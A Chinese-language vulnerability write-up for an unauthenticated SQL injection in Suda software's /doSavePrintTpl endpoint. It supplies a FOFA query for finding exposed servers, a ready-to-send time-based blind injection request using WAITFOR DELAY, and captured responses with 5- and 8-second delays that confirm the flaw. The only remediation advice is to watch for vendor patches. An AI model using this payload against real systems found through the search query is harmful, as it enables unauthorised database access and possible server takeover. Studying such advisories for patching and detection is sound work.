

速达软件 doSavePrintTpl sql注入漏洞

漏洞描述

速达软件在/doSavePrintTpl接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

速达软件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="速达软件技术"

POC/EXP：

GET /common/print/print!doSavePrintTpl.action?
report=1&rptid=1&employId=1&accsetName=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--
&modId=1 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/133.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8
,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

发送请求

强制 HTTPS

历史

爆破示例

美化

热加载

构造请求

Request

1

GET /common/print/printIdSavePrintTpl.action?report=1&rptid=1&employId=1&accsetName=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&modId=1 HTTP/1.1

2

Host :

3

Upgrade-Insecure-Requests: 1

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6

Accept-Encoding: gzip, deflate

7

Accept-Language: zh-CN,zh;q=0.9

8

9

Responses

257bytes / 5234ms

美化

编码

详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Content-Type: application/json;charset=UTF-8

4

Content-Language: zh-CN

5

Date: Tue, 25 Feb 2025 03:31:09 GMT

6

Content-Length: 257

7

8

{ "accsetName": "1";WAITFOR-DELAY-'0:0:5'--", "childArr": null, "currReport": {"a000ldJsonValue": null, "reportname": null, "rptid": 1, "rptname": null, "rpttype": null}, "errMsg": "你没有定制打样式权限!", "errNo": -1, "printItems": [], "reportTpl": null, "success": true }

发送请求

强制 HTTPS

历史

爆破示例

美化

热加载

构造请求

Request

1

GET /common/print/printIdSavePrintTpl.action?report=1&rptid=1&employId=1&accsetName=1%27%3BWAITFOR+DELAY+%270%3A0%3A8%27--&modId=1 HTTP/1.1

2

Host :

3

Upgrade-Insecure-Requests: 1

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6

Accept-Encoding: gzip, deflate

7

Accept-Language: zh-CN,zh;q=0.9

8

9

Responses

257bytes / 8096ms

美化

编码

详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Content-Type: application/json;charset=UTF-8

4

Content-Language: zh-CN

5

Date: Tue, 25 Feb 2025 03:41:31 GMT

6

Content-Length: 257

7

8

{ "accsetName": "1";WAITFOR-DELAY-'0:0:8'--", "childArr": null, "currReport": {"a000ldJsonValue": null, "reportname": null, "rptid": 1, "rptname": null, "rpttype": null}, "errMsg": "你没有定制打样式权限!", "errNo": -1, "printItems": [], "reportTpl": null, "success": true }

漏洞修复

关注厂商官网动态，及时更新补丁信息。